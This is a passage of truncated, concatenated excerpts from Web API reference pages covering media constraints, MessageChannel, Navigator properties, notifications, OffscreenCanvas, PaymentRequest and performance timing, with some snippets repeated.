hannels as the node itself. You can use this property to get a stream out of the audio graph and feed it into another construct, such as a Media Recorder. Syntax var audioCtx = new AudioContext(); var destination = audioCtx.createMediaStreamDestination(); var myStream = destination.stream; Value A MediaStream. Example Specifications Specification Status Comment
Web Audio APIThe definition of 'stream' in that specification. Working Draft ...
MediaStreamAudioSourceOptions.mediaStream - Web APIs
ode using the MediaStreamAudioSourceNode() constructor. Syntax mediaStreamAudioSourceOptions = { mediaStream: audioSourceStream; } mediaStreamAudioSourceOptions.mediaStream = audioSourceStream; Value A MediaStream representing the stream from which to use a MediaStreamTrack as the source of audio for the node. Example Specifications Specification Status Comment
Web Audio APIThe definition of 'MediaStreamAudioSourceOptions.mediaStream' in that specification. Working Draft ...
MediaStreamTrack.remote - Web APIs
The MediaStreamTrack.remote read-only property allows Javascript to know whether a
WebRTC MediaStreamTrack is from a remote source or a local one. It returns a Boolean with a value of true if the track is sourced remotely (that is, sourced by an RTCPeerConnection), or false if it is sourced locally. Syntax var bool = track.remote; ...
MediaTrackConstraints.deviceId - Web APIs
property. If needed, you can determine whether or not this constraint is supported by checking the value of MediaTrackSupportedConstraints.deviceId as returned by a call to MediaDevices.getSupportedConstraints(). However, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. Because RTP doesn't include this information, tracks associated with a
WebRTC RTCPeerConnection will never include this property. Syntax var constraintsObject = { deviceId: constraint }; constraintsObject.deviceId = constraint; Value An object based on ConstrainDOMString specifying one or more acceptable, ideal, and/or exact (mandatory) device IDs which are acceptable as the source of media content. Device IDs are unique for a given origin, and are guaranteed to ...
MediaTrackConstraints.echoCancellation - Web APIs
. If needed, you can determine whether or not this constraint is supported by checking the value of MediaTrackSupportedConstraints.echoCancellation as returned by a call to MediaDevices.getSupportedConstraints(). However, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. Because RTP doesn't include this information, tracks associated with a
WebRTC RTCPeerConnection will never include this property. Syntax var constraintsObject = { echoCancellation: constraint }; constraintsObject.echoCancellation = constraint; Value If this value is a simple true or false, the user agent will attempt to obtain media with echo cancellation enabled or disabled as specified, if possible, but will not fail if this can't be done. If, instead, the value...
MediaTrackConstraints.facingMode - Web APIs
operty. If needed, you can determine whether or not this constraint is supported by checking the value of MediaTrackSupportedConstraints.facingMode as returned by a call to MediaDevices.getSupportedConstraints(). However, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. Because RTP doesn't include this information, tracks associated with a
WebRTC RTCPeerConnection will never include this property. Syntax var constraintsObject = { facingMode: constraint }; constraintsObject.facingMode = constraint; Value An object based on ConstrainDOMString specifying one or more acceptable, ideal, and/or exact (mandatory) facing modes are acceptable for a video track. An exact value in this case indicates that the specified facing mode is speci...
MediaTrackConstraints.latency - Web APIs
property. If needed, you can determine whether or not this constraint is supported by checking the value of MediaTrackSupportedConstraints.latency as returned by a call to MediaDevices.getSupportedConstraints(). However, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. Because RTP doesn't include this information, tracks associated with a
WebRTC RTCPeerConnection will never include this property. Syntax var constraintsObject = { latency: constraint }; constraintsObject.latency = constraint; Value A ConstrainDouble describing the acceptable or required value(s) for an audio track's latency, with values specified in seconds. In audio processing, latency is the time between the start of processing (when sound occurs in the real wor...
MediaTrackConstraints - Web APIs
strainable property. To learn more about how constraints work, see Capabilities, constraints, and settings. Properties Some combination--but not necessarily all--of the following properties will exist on the object. This may be because a given browser doesn't support the property, or because it doesn't apply. For example, because RTP doesn't provide some of these values during negotiation of a
WebRTC connection, a track associated with a RTCPeerConnection will not include certain values, such as facingMode or groupId. Properties of all media tracks deviceId A ConstrainDOMString object specifying a device ID or an array of device IDs which are acceptable and/or required. groupId A ConstrainDOMString object specifying a group ID or an array of group IDs which are acceptable and/or req...
MediaTrackSettings.deviceId - Web APIs
rMedia(). If needed, you can determine whether or not this constraint is supported by checking the value of MediaTrackSupportedConstraints.deviceId as returned by a call to MediaDevices.getSupportedConstraints(). However, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. Because RTP doesn't include this information, tracks associated with a
WebRTC RTCPeerConnection will never include this property. Syntax var deviceId = MediaTrackSettings.deviceId; Value A DOMString whose value is an origin-unique identifier for the track's source. This ID is valid across multiple browsing sessions for the same origin and is guaranteed to be different for all other origins, so you can safely use it to request the same source be used for multiple se...
MediaTrackSettings.echoCancellation - Web APIs
. If needed, you can determine whether or not this constraint is supported by checking the value of MediaTrackSupportedConstraints.echoCancellation as returned by a call to MediaDevices.getSupportedConstraints(). However, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. Because RTP doesn't include this information, tracks associated with a
WebRTC RTCPeerConnection will never include this property. Syntax var echoCancellation = MediaTrackSettings.echoCancellation; Value A Boolean value which is true if the track has echo cancellation functionality enabled or false if echo cancellation is disabled. Example See Example: Constraint exerciser in Capabilities, constraints, and settings for an example. Specifications Specifi...
MediaTrackSettings.facingMode - Web APIs
ints(). If needed, you can determine whether or not this constraint is supported by checking the value of MediaTrackSupportedConstraints.facingMode as returned by a call to MediaDevices.getSupportedConstraints(). However, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. Because RTP doesn't include this information, tracks associated with a
WebRTC RTCPeerConnection will never include this property. Syntax var facingMode = MediaTrackSettings.facingMode; Value A DOMString whose value is one of the strings in VideoFacingModeEnum. VideoFacingModeEnum The following strings are permitted values for the facing mode. These may represent separate cameras, or they may represent directions in which an adjustable camera can be pointed. "u...
MediaTrackSettings.groupId - Web APIs
erMedia(). If needed, you can determine whether or not this constraint is supported by checking the value of MediaTrackSupportedConstraints.groupId as returned by a call to MediaDevices.getSupportedConstraints(). However, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. Because RTP doesn't include this information, tracks associated with a
WebRTC RTCPeerConnection will never include this property. Syntax var groupId = MediaTrackSettings.groupId; Value A DOMString whose value is a browsing-session unique identifier for a group of devices which includes the source of the track's contents. Two devices share the same group ID if they belong to the same physical hardware device. For example, a headset has two devices on it: a microphon...
MediaTrackSettings.latency - Web APIs
overhead. If needed, you can determine whether or not this constraint is supported by checking the value of MediaTrackSupportedConstraints.latency as returned by a call to MediaDevices.getSupportedConstraints(). However, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. Because RTP doesn't include this information, tracks associated with a
WebRTC RTCPeerConnection will never include this property. Syntax var latency = MediaTrackSettings.latency; Value A double-precision floating-point number indicating the estimated latency, in seconds, of the audio track as currently configured. Example See Example: Constraint exerciser in Capabilities, constraints, and settings for an example. Specifications Specification Status ...
MediaTrackSettings - Web APIs
customized constraints couldn't be matched. To learn more about how constraints and settings work, see Capabilities, constraints, and settings. Properties Some or all of the following will be included in the object, either because it's not supported by the browser or because it's not available due to context. For example, because RTP doesn't provide some of these values during negotiation of a
WebRTC connection, a track associated with a RTCPeerConnection will not include certain values, such as facingMode or groupId. Properties of all media tracks deviceId A DOMString indicating the current value of the deviceId property. The device ID is a origin-unique string identifying the source of the track; this is usually a GUID. This value is specific to the source of the track's data and is...
MediaTrackSupportedConstraints - Web APIs
The MediaTrackSupportedConstraints dictionary establishes the list of constrainable properties recognized by the user agent or browser in its implementation of the MediaStreamTrack object. An object conforming to MediaTrackSupportedConstraints is returned by MediaDevices.getSupportedConstraints(). Because of the way interface definitions in
WebIDL work, if a constraint is requested but not supported, no error will occur. Instead, the specified constraints will be applied, with any unrecognized constraints stripped from the request.That can lead to confusing and hard to debug errors, so be sure to use getSupportedConstraints() to retrieve this information before attempting to establish constraints if you need to know the difference between silently ignoring a constraint and a constraint bein...
Media Capabilities API - Web APIs
orted color gamut, dynamic range abilities, and real-time feedback about the playback. To test support, smoothness and power efficiency of a video or audio file, you define the media configuration you want to test, and then pass the audio or video configuration as the parameter of the MediaCapabilities interface's encodingInfo() and decodingInfo() methods. Media capabilities information enables
websites to enable adaptative streaming to alter the quality of content based on actual user-perceived quality, and react to a pick of CPU/GPU usage in real time. Media Capabilities Interfaces MediaCapabilities Provides information about the decoding abilities of the device, system and browser based on codecs, profile, resolution, and bitrates. The information can be used to serve optimal media...
Transcoding assets for Media Source Extensions - Web APIs
es. You can see it by specifying the -d option. Note: If "Invalid duration specification for force_key_frames: 'expr:eq(mod(n" is displayed as an error message, modify mp4-dash-encode.py and remove two "'" from "-force_key_frames 'expr:eq(mod(n,%d),0)'". Summary With your video properly encoded and adaptive bitrate media generated, you're now ready to begin adaptive bitrate streaming on the
web using DASH and MSE. ...
MessageChannel() - Web APIs
Syntax var channel = new MessageChannel(); Returns A newly created MessageChannel object. Example In the following code block, you can see a new channel being created using the MessageChannel.MessageChannel constructor. When the IFrame has loaded, we pass port2 to the IFrame using MessagePort.postMessage along with a message. ...
MessageChannel.port1 - Web APIs
Syntax channel.port1; Value A MessagePort object, the first port of the channel, that is the port attached to the context that originated the channel. Example In the following code block, you can see a new channel being created using the MessageChannel() constructor. ...
MessageChannel.port2 - Web APIs
Syntax channel.port2; Value A MessagePort object representing the second port of the channel, the port attached to the context at the other end of the channel. ...
MessageChannel - Web APIs
Properties MessageChannel.port1 Read only Returns port1 of the channel. MessageChannel.port2 Read only Returns port2 of the channel. Constructor MessageChannel() Returns a new MessageChannel object with two new MessagePort objects. Example In the following example, you can see a new channel being created using the MessageChannel.MessageChannel constructor. ...
MessagePort.close() - Web APIs
Syntax port.close() Returns Void. Parameters None. Example In the following code block, you can see a handleMessage handler function, run when a message is sent back to this document using EventTarget.addEventListener. ...
NDEFWriter() - Web APIs
The NDEFWriter() constructor of the
Web NFC API returns a newly constructed NDEFWriter object used to write NDEF messages to compatiable NFC devices, e.g. NDEF tags, within the reader's magnetic induction field. Syntax writer = new NDEFWriter(); Parameters None. Return value A new NDEFWriter. Specifications Specification Status Comment
Web NFC, NDEFWriter Draft Initial definition. ...
NDEFWriter - Web APIs
The NDEFWriter interface of the
Web NFC API is an abstract interface used to write data to compatible NFC devices, e.g. NFC tags supporting NDEF, when these devices are within the reader's magnetic induction field. Constructor NDEFWriter.NDEFWriter() Returns an NDEFWriter. Methods NDEFWriter.write() Called to write NDEF message to a tag (after ensuring hardware and UA compatibility and obtaining permission from the user) or get an error explaining why feature is not available. Specifications Specification Status Comment
Web NFC, NDEFReader Draft Initial definition. ...
Navigator.canShare() - Web APIs
The Navigator.canShare() method of the
Web Share API returns true if a call to Navigator.share() would succeed. Syntax var canShare = navigator.canShare(data); Parameters data Optional An object containing data to share that matches what you would pass to Navigator.share(). Return value A Boolean. True if data can be shared with Navigator.share(). Exceptions None. Examples if(navigator.canShare(data)) { // We can use share() to share the data! Woop! } Specifications Specification Status Comment
Web Share API - Level 2The definition of 'canShare' in that specification. Draft Initial definition. ...
Navigator.cookieEnabled - Web APIs
var cookieEnabled = navigator.cookieEnabled; cookieEnabled is a Boolean: true or false. Note: When the browser is configured to block third-party cookies, and navigator.cookieEnabled is invoked inside a third-party iframe, it returns true in Safari, Edge Spartan and IE (while trying to set a cookie in such scenario would fail). It returns false in Firefox and Chromium-based browsers. Note:
Web browsers may prevent writing certain cookies in certain scenarios. For example, Chrome 80+ does not allow creating cookies with SameSite=None attribute, unless they are created over HTTPS and with Secure attribute. Example if (!navigator.cookieEnabled) { // The browser does not support or is blocking cookies from being set. } Specifications Specification Status Comment ...
Navigator.getUserMedia() - Web APIs
ch can occur. Return value undefined. Errors Examples Width and height Here's an example of using getUserMedia(), including code to cope with various browsers' prefixes. Note that this is the deprecated way of doing it: See the Examples section under the MediaDevices.getUserMedia() for modern examples. ...
Navigator.msLaunchUri() - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msLaunchUri() method is a Microsoft extension to the Navigator interface, which starts a service or app, such as an email client, that handles a given protocol. The Uniform Resource Identifier (URI) contains the protocol for the default service or app, such as mailto://test@contoso.com. ...
Navigator.requestMediaKeySystemAccess() - Web APIs
The Navigator.requestMediaKeySystemAccess() method returns a Promise which delivers a MediaKeySystemAccess object that can be used to access a particular media key system, which can in turn be used to create keys for decrypting a media stream. This method is part of the Encrypted Media Extensions API, which brings support for encrypted media and DRM-protected video to the
web. This method may have user-visible effects such as asking for permission to access one or more system resources. Consider that when deciding when to call requestMediaKeySystemAccess(); you don't want those requests to happen at inconvenient times. As a general rule, this function should be called only when it's about time to create and use a MediaKeys object by calling the returned MediaKeySystemAccess object's createM...
Navigator.sendBeacon() - Web APIs
Syntax navigator.sendBeacon(url, data); Parameters url The URL that will receive the data. Can be relative or absolute. data A ArrayBuffer, ArrayBufferView, Blob, DOMString, FormData, or URLSearchParams object containing the data to send. Return values The sendBeacon() method returns true if the user agent successfully queued the data for transfer. Otherwise, it returns false. Description This method is for analytics and diagnostics that send data to a server before the document is unloaded, where sending the data any sooner may miss some possible data collection. ...
navigator.hardwareConcurrency - Web APIs
The navigator.hardwareConcurrency read-only property returns the number of logical processors available to run threads on the user's computer. Syntax logicalProcessors = window.navigator.hardwareConcurrency Value A Number indicating the number of logical processor cores. Modern computers have multiple physical processor cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may offer eight logical processor cores, for example. ...
NavigatorConcurrentHardware - Web APIs
The number of logical processor cores is a way to measure the number of threads which can effectively be run at once without them having to share CPUs. Modern computers have multiple physical cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. ...
NavigatorID.appVersion - Web APIs
th these properties. The window.navigator.appVersion, window.navigator.appName and window.navigator.userAgent properties have been used in "browser sniffing" code: scripts that attempt to find out what kind of browser you are using and adjust pages accordingly. This lead to the current situation, where browsers had to return fake values from these properties in order not to be locked out of some
websites. Specifications Specification Status Comment HTML Living StandardThe definition of 'NavigatorID.appVersion' in that specification. Living Standard Initial definition ...
NavigatorID.platform - Web APIs
a reliable answer. Syntax platform = navigator.platform Value A DOMString identifying the platform on which the browser is running, or an empty string if the browser declines to (or is unable to) identify the platform. platform is a string that must be an empty string or a string representing the platform on which the browser is executing. For example: "MacIntel", "Win32", "FreeBSD i386", "
WebTV OS" Example console.log(navigator.platform); Usage notes Most browsers, including Chrome, Edge, and Firefox 63 and later, return "Win32" even if running on a 64-bit version of Windows. Internet Explorer and versions of Firefox prior to version 63 still report "Win64". Specifications Specification Status Comment HTML Living StandardThe definition of 'NavigatorID...
NavigatorStorage - Web APIs
The NavigatorStorage mixin adds to the Navigator and WorkerNavigator interfaces the Navigator.storage property, which provides access to the StorageManager singleton used for controlling the persistence of data stores as well as obtaining information Note: This feature is available in
Web Workers. There are many APIs which provide ways for
Web content to store data on a user's computer, including cookies, the
Web Storage API (Window.localStorage and Window.sessionStorage), and IndexedDB. The Storage Standard is designed to serve as a common basis for the implementation of all of those APIs and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties. Properties storage Read only Secure context Re...
NetworkInformation.downlinkMax - Web APIs
Syntax var max = NetworkInformation.downlinkMax Return value an unrestricted double representing the maximum downlink speed, in megabits per second (Mb/s), for the underlying connection technology. Examples The following example monitors the connection using the change event and logs changes as they occur. ...
NetworkInformation.rtt - Web APIs
current connection, rounded to the nearest multiple of 25 milliseconds. This value is based on recently observed application-layer RTT measurements across recently active connections. It excludes connections made to a private address space. If no recent measurement data is available, the value is based on the properties of the underlying connection technology. Note: This feature is available in
Web Workers. Syntax rtt = NetworkInformation.rtt Return value A number. Specifications Specification Status Comment Network Information APIThe definition of 'rtt' in that specification. Draft Initial definition ...
NetworkInformation.type - Web APIs
The NetworkInformation.type read-only property returns the type of connection a device is using to communicate with the network. Note: This feature is available in
Web Workers. Syntax var type = netInfo.type Return value An enumerated value that is one of the following values: "bluetooth" "cellular" "ethernet" "none" "wifi" "wimax" "other" "unknown" Specifications Specification Status Comment Network Information APIThe definition of 'type' in that specification. Draft Initial definition ...
NetworkInformation - Web APIs
The NetworkInformation interface provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes. The NetworkInformation interfaces cannot be instantiated. It is instead accessed through the connection property of the Navigator interface. Note: This feature is available in
Web Workers. Properties This interface also inherits properties of its parent, EventTarget. NetworkInformation.downlink Read only Returns the effective bandwidth estimate in megabits per second, rounded to the nearest multiple of 25 kilobits per seconds. NetworkInformation.downlinkMax Read only Returns the maximum downlink speed, in megabits per second (Mbps), for the underlying connection...
Node.getRootNode() - Web APIs
that sets options for getting the root node. The available options are: composed: A Boolean that indicates whether the shadow root should be returned (false, the default), or a root node beyond shadow root (true). Returns An object inheriting from Node. This will differ in exact form depending on where you called getRootNode(); for example: Calling it on an element inside a standard
web page will return an HTMLDocument object representing the entire page. Calling it on an element inside a shadow DOM will return the associated ShadowRoot. Examples The first simple example returns a reference to the HTML/document node: rootNode = node.getRootNode(); This more complex example shows the difference between returning a normal root, and a root incuding the shadow root. (See the f...
Node.getUserData() - Web APIs
Element.dataset or WeakMap can be used instead. Syntax userData = someNode.getUserData(userKey); Parameters userKey is the key to choose the specific data sought for the given node. More than one key may have been assigned on a given node, containing its own value. ...
Node.setUserData() - Web APIs
method offers the convenience of associating data with specific nodes without needing to alter the structure of a document and in a standard fashion, but it also means that extra steps may need to be taken if one wishes to serialize the information or include the information upon clone, import, or rename operations. The Node.getUserData and Node.setUserData methods are no longer available from
Web content. HTMLElement.dataset or WeakMap can be used instead. Syntax var prevUserData = someNode.setUserData(userKey, userData, handler); Parameters userKey is used as the key by which one may subsequently obtain the stored data. More than one key can be set for a given node. handler is a callback which will be called any time the node is being cloned, imported, renamed, as well as if dele...
Notification.Notification() - Web APIs
The Notification() constructor creates a new Notification object instance, which represents a user notification. Syntax var myNotification = new Notification(title, options); Parameters title Defines a title for the notification, which is shown at the top of the notification window. options Optional An options object containing any custom settings that you want to apply to the notification. The possible options are: dir: The direction in which to display the notification. ...
Notification.actions - Web APIs
The actions read-only property of the Notification interface returns the list of NotificationAction objects set using the actions option when creating the notification using the Notification() constructor. This is a list of the application-defined actions the user can choose to take immediately within the context of a notification. Note: Device and User Agent might be able to display only a limited number of actions (due to, e.g., limited screen space). This limit can be infered from Notification.maxActions. Syntax var actions[] = Notification.actions; Value A read-only array of NotificationAction objects, each describing a single action the user can choose within a notification. ...
Notification.badge - Web APIs
The badge property of the Notification interface returns the URL of the image used to represent the notification when there is not enough space to display the notification itself. Syntax var url = Notification.badge Value A USVString containing a URL. Specifications Specification Status Comment Notifications APIThe definition of 'badge' in that specification. ...
Notification.body - Web APIs
The body read-only property of the Notification interface indicates the body string of the notification, as specified in the body option of the Notification() constructor. Syntax var body = Notification.body; Value A DOMString. Examples function spawnNotification(theBody, theIcon, theTitle) { var options = { body: theBody, icon: theIcon } var n = new Notification(theTitle, options); console.log(n.body); } Specifications Specification Status Comment Notifications APIThe definition of 'body' in that specification. ...
Notification.data - Web APIs
The data read-only property of the Notification interface returns a structured clone of the notification's data, as specified in the data option of the Notification() constructor. The notification's data can be any arbitrary data that you want associated with the notification. Syntax var data = Notification.data; Value A structured clone. Examples The following snippet fires a notification; a simple options object is created, then the notification is fired using the Notification() constructor. ...
Notification.dir - Web APIs
The dir read-only property of the Notification interface indicates the text direction of the notification, as specified in the dir option of the Notification() constructor. Syntax var direction = Notification.dir; Value A DOMString specifying the text direction. Possible values are: auto: adopts the browser's language setting behaviour (the default.) ltr: left to right. rtl : right to left. Note: Most browsers seem to ignore explicit ltr and rtl settings, and just go with the browser-wide setting. Examples The following snippet fires a notification; a simple options object is created, then the notification is fired using the Notification() constructor. ...
Notification.icon - Web APIs
The icon read-only property of the Notification interface contains the URL of an icon to be displayed as part of the notification, as specified in the icon option of the Notification() constructor. Syntax var icon = Notification.icon; Value A USVString. Examples In our To-do list app (view the app running live), we use the Notification() constructor to fire a notification, passing it arguments to specify the body, icon and title we want. var notification = new Notification('To do list', { body: text, icon: img }); Specifications Specification Status Comment Notifications APIThe definition of 'icon' in that specification. ...
Notification.image - Web APIs
The image read-only property of the Notification interface contains the URL of an image to be displayed as part of the notification, as specified in the image option of the Notification() constructor. Syntax var image = Notification.image; Value A USVString. Specifications Specification Status Comment Notifications APIThe definition of 'image' in that specification. ...
Notifications API - Web APIs
The Notifications API allows
web pages to control the display of system notifications to the end user. These are outside the top-level browsing context viewport, so therefore can be displayed even when the user has switched tabs or moved to a different app. The API is designed to be compatible with existing notification systems, across different platforms. Concepts and usage On supported platforms, showing a system notification generally involves two things. First, the user needs to grant the current origin permission to display system notifications, which is generally done when the app or site initialises, using the Notification.requestPermission() method. ...
NotifyAudioAvailableEvent - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The non-standard, obsolete, NotifyAudioAvailableEvent interface defines the event sent to audio elements when the audio buffer is full. Properties frameBuffer Read only A Float32Array containing the raw 32-bit floating-point audio data obtained from decoding the audio (e.g., the raw data being sent to the audio hardware vs. encoded audio). ...
OES_element_index_uint - Web APIs
The OES_element_index_uint extension is part of the
WebGL API and adds support for gl.UNSIGNED_INT types to
WebGLRenderingContext.drawElements().
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is only available to
WebGL1 contexts. In
WebGL2, the functionality of this extension is available on the
WebGL2 context by default. Extended methods This extension extends
WebGLRenderingContext.drawElements(): The type parameter now accepts gl.UNSIGNED_INT. Examples var ext = gl.getExtension('OES_element_index_uint'); gl.drawElements(gl.POINTS, 8, gl.UNSIGNED_INT, 0); Specifications Specification Status Comment OES_element_ind...
OES_vertex_array_object.bindVertexArrayOES() - Web APIs
Return value None. Examples var ext = gl.getExtension('OES_vertex_array_object'); var vao = ext.createVertexArrayOES(); ext.bindVertexArrayOES(vao); // ... // calls to bindBuffer or vertexAttribPointer // which will be "recorded" in the VAO // ... ...
OfflineAudioContext.resume() - Web APIs
d with InvalidStateError. Syntax OfflineAudioContext.resume().then(function() { ... }); Parameters None. Returns A Promise resolving to void. Exceptions The promise is rejected when the following exception is encountered. InvalidStateError if the context is not currently suspended or the rendering has not started. Specifications Specification Status Comment
Web Audio APIThe definition of 'resume()' in that specification. Working Draft Initial definition. ...
OfflineAudioContext.suspend() - Web APIs
ing to void. Exceptions The promise is rejected when any exception is encountered. InvalidStateError if the quantized frame number is one of the following: a negative number is less than or equal to the current time is greater than or equal to the total render duration is scheduled by another suspend for the same time Specifications Specification Status Comment
Web Audio APIThe definition of 'suspend()' in that specification. Working Draft Initial definition. ...
OffscreenCanvas.convertToBlob() - Web APIs
l You can specify several options when converting your OffscreenCanvas object into a Blob object, for example: const blob = offscreenCanvas.convertToBlob({ type: "image/jpeg", quality: 0.95 }); options: type: A DOMString indicating the image format. The default type is image/png. quality: A Number between 0 and 1 indicating image quality if the type option is image/jpeg or image/
webp. If this argument is anything else, the default value for image quality is used. Other arguments are ignored. Return value A Promise returning a Blob object representing the image contained in the canvas. Examples var offscreen = new OffscreenCanvas(256, 256); var gl = offscreen.getContext("
webgl"); // ... some drawing using the gl context ... offscreen.convertToBlob().then(function(b...
OffscreenCanvas() - Web APIs
The OffscreenCanvas() constructor returns a newly instantiated OffscreenCanvas object. Syntax new OffscreenCanvas(width, height); Parameters width The width of the offscreen canvas. height The height of the offscreen canvas. Examples This example creates a new offscreen canvas using the OffscreenCanvas() constructor. We then initialize a
WebGL context on it using the getContext() method. let offscreen = new OffscreenCanvas(256, 256); let gl = offscreen.getContext('
webgl'); Specifications Specification Status Comment HTML Living StandardThe definition of 'OffscreenCanvas()' in that specification. Living Standard ...
OffscreenCanvas.convertToBlob() - Web APIs
l You can specify several options when converting your OffscreenCanvas object into a Blob object, for example: const blob = offscreenCanvas.convertToBlob({ type: "image/jpeg", quality: 0.95 }); options: type: A DOMString indicating the image format. The default type is image/png. quality: A Number between 0 and 1 indicating image quality if the type option is image/jpeg or image/
webp. If this argument is anything else, the default value for image quality is used. Other arguments are ignored. Return value A Promise returning a Blob object representing the image contained in the canvas. Examples var offscreen = new OffscreenCanvas(256, 256); var gl = offscreen.getContext("
webgl"); // ... some drawing using the gl context ... offscreen.convertToBlob().then(function(b...
OffscreenCanvas.convertToBlob() - Web APIs
l You can specify several options when converting your OffscreenCanvas object into a Blob object, for example: const blob = offscreenCanvas.convertToBlob({ type: "image/jpeg", quality: 0.95 }); options: type: A DOMString indicating the image format. The default type is image/png. quality: A Number between 0 and 1 indicating image quality if the type option is image/jpeg or image/
webp. If this argument is anything else, the default value for image quality is used. Other arguments are ignored. Return value A Promise returning a Blob object representing the image contained in the canvas. Examples var offscreen = new OffscreenCanvas(256, 256); var gl = offscreen.getContext("
webgl"); // ... some drawing using the gl context ... offscreen.convertToBlob().then(function(b...
OffscreenCanvas.transferToImageBitmap() - Web APIs
The OffscreenCanvas.transferToImageBitmap() method creates an ImageBitmap object from the most recently rendered image of the OffscreenCanvas. Syntax ImageBitmap OffscreenCanvas.transferToImageBitmap() Return value An ImageBitmap. Examples var offscreen = new OffscreenCanvas(256, 256); var gl = offscreen.getContext("
webgl"); // ... some drawing using the gl context ... offscreen.transferToImageBitmap(); // ImageBitmap { width: 256, height: 256 } Specifications Specification Status Comment HTML Living StandardThe definition of 'OffscreenCanvas.transferToImageBitmap()' in that specification. Living Standard ...
OscillatorNode.setPeriodicWave() - Web APIs
equency domain values from time domain value. Here, with createPeriodicWave(), you specify the frequencies, and the browser performs a an inverse Fourier transform to get a time domain buffer for the frequency of the oscillator. Here, we only set one component at full volume (1.0) on the fundamental tone, so we get a sine wave. Specifications Specification Status Comment
Web Audio APIThe definition of 'setPeriodicWave' in that specification. Working Draft ...
PaymentRequest: shippingaddresschange event - Web APIs
h contains the shipping address may have some portions of its content altered, obscured, or left out entirely in order to prevent identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address). Example In this example, a handler for the shippingaddresschange event is set up to validate that the address meets requirements set by the
web application. const paymentRequest = new PaymentRequest(methodData, details, options); paymentRequest.addEventListener("shippingaddresschange", event => { let detailsUpdate = checkAddress(paymentRequest.shippingAddress); event.updateWith(detailsUpate); }, false); const checkAddress = theAddress => { let detailsUpdate = {}; // Check the address, return a PaymentDetailsUpdate object //...
PaymentRequest.show() - Web APIs
the end-user. async function requestPayment() { // We start with AU$0 as the total. const initialDetails = { total: { label: "Total", amount: { value: "0", currency: "AUD" }, }, }; const request = new PaymentRequest(methods, initialDetails, options); // Check if the the user supports the `methods` if (!await request.canMakePayment()) { return; // no, so use a
web form instead. } // Let's update the total as the sheet is shown const updatedDetails = { total: { label: "Total", amount: { value: "20", currency: "AUD" }, }, }; const response = await request.show(updatedDetails); // Check response, etc... } document.getElementById("buyButton").onclick = requestPayment; Specifications Specification Status Comment...
PaymentRequest - Web APIs
Constructor PaymentRequest() Secure context Creates a new PaymentRequest object. Properties PaymentRequest.id Read only Secure context An unique identifier for a particular PaymentRequest, which can be set via details.id. When none is set, it defaults to a UUID. PaymentRequest.shippingAddress Read only Secure context If requested via payment options, returns the shipping address chosen by the user for the purposes of calculating shipping. ...
PaymentRequestEvent() - Web APIs
rameters type Must always be 'PaymentRequest'. options Optional Options are as follows: instrumentKey: A PaymentInstrument object reflecting the payment instrument selected by the user or an empty string if the user has not registered or chosen a payment instrument. methodData: An array of PaymentMethodData objects containing payment method identifers for the payment methods that the
web site accepts and any associated payment method specific data. modifiers: An array of objects containing changes to payment details. paymentRequestId: The ID of the PaymentRequest object. paymentRequestOrigin: The origin where the PaymentRequest object was initialized. topLeveOrigin: The top-level origin where the PaymentRequest object was initialized. total: The total amount being reque...
PaymentRequestEvent - Web APIs
) Creates a new PaymentRequestEvent object. Properties instrumentKeyRead only Returns a PaymentInstrument object reflecting the payment instrument selected by the user or an empty string if the user has not registered or chosen a payment instrument. methodDataRead only Returns an array of PaymentMethodData objects containing payment method identifers for the payment methods that the
web site accepts and any associated payment method specific data. modifiersRead only Returns an array of objects containing changes to payment details. paymentRequestIdRead only Returns the ID of the PaymentRequest object. paymentRequestOriginRead only Returns the origin where the PaymentRequest object was initialized. topOriginRead only Returns the top-level origin where the PaymentR...
PaymentRequestUpdateEvent.PaymentRequestUpdateEvent() - Web APIs
Actual updates are made by passing options to the updateWith() method. Syntax var paymentRequestUpdateEvent = new PaymentRequestUpdateEvent() Parameters None. Return value A new PaymentRequestUpdateEvent object.Payment Request APIThe definition of 'PaymentRequestUpdateEvent' in that specification. ...
performance.clearMarks() - Web APIs
Syntax performance.clearMarks(); performance.clearMarks(name); Arguments name Optional A DOMString representing the name of the timestamp. ...
performance.getEntries() - Web APIs
ethod returns a list of all PerformanceEntry objects for the page. The list's members (entries) can be created by making performance marks or measures (for example by calling the mark() method) at explicit points in time. If you are only interested in performance entries of certain types or that have certain names, see getEntriesByType() and getEntriesByName(). Note: This feature is available in
Web Workers. Syntax General syntax: entries = window.performance.getEntries(); Return value entries An array of PerformanceEntry objects. The items will be in chronological order based on the entries' startTime. Example function use_PerformanceEntry_methods() { console.log("PerformanceEntry tests ..."); if (performance.mark === undefined) { console.log("... performance.mark Not s...
performance.getEntriesByName() - Web APIs
Syntax entries = window.performance.getEntriesByName(name, type); Arguments name The name of the entry to retrieve. type Optional The type of entry to retrieve such as "mark". ...
performance.getEntriesByType() - Web APIs
Syntax entries = window.performance.getEntriesByType(type); Arguments type The type of entry to retrieve such as "mark". The valid entry types are listed in PerformanceEntry.entryType. ...
performance.mark() - Web APIs
The mark() method creates a timestamp in the browser's performance entry buffer with the given name. The application defined timestamp can be retrieved by one of the Performance interface's getEntries*() methods (getEntries(), getEntriesByName() or getEntriesByType()). The mark()'s stores its data internally as PerformanceEntry. Note: This feature is available in
Web Workers. Syntax performance.mark(name); Arguments name A DOMString representing the name of the mark. If the name given to this method already exists in the PerformanceTiming interface, SyntaxError is thrown. Return value void Example The following example shows how to use mark() to create and retrieve PerformanceMark entries. // Create a bunch of marks. performance.mark("squirrel"); performance.mark("squir...
performance.measure() - Web APIs
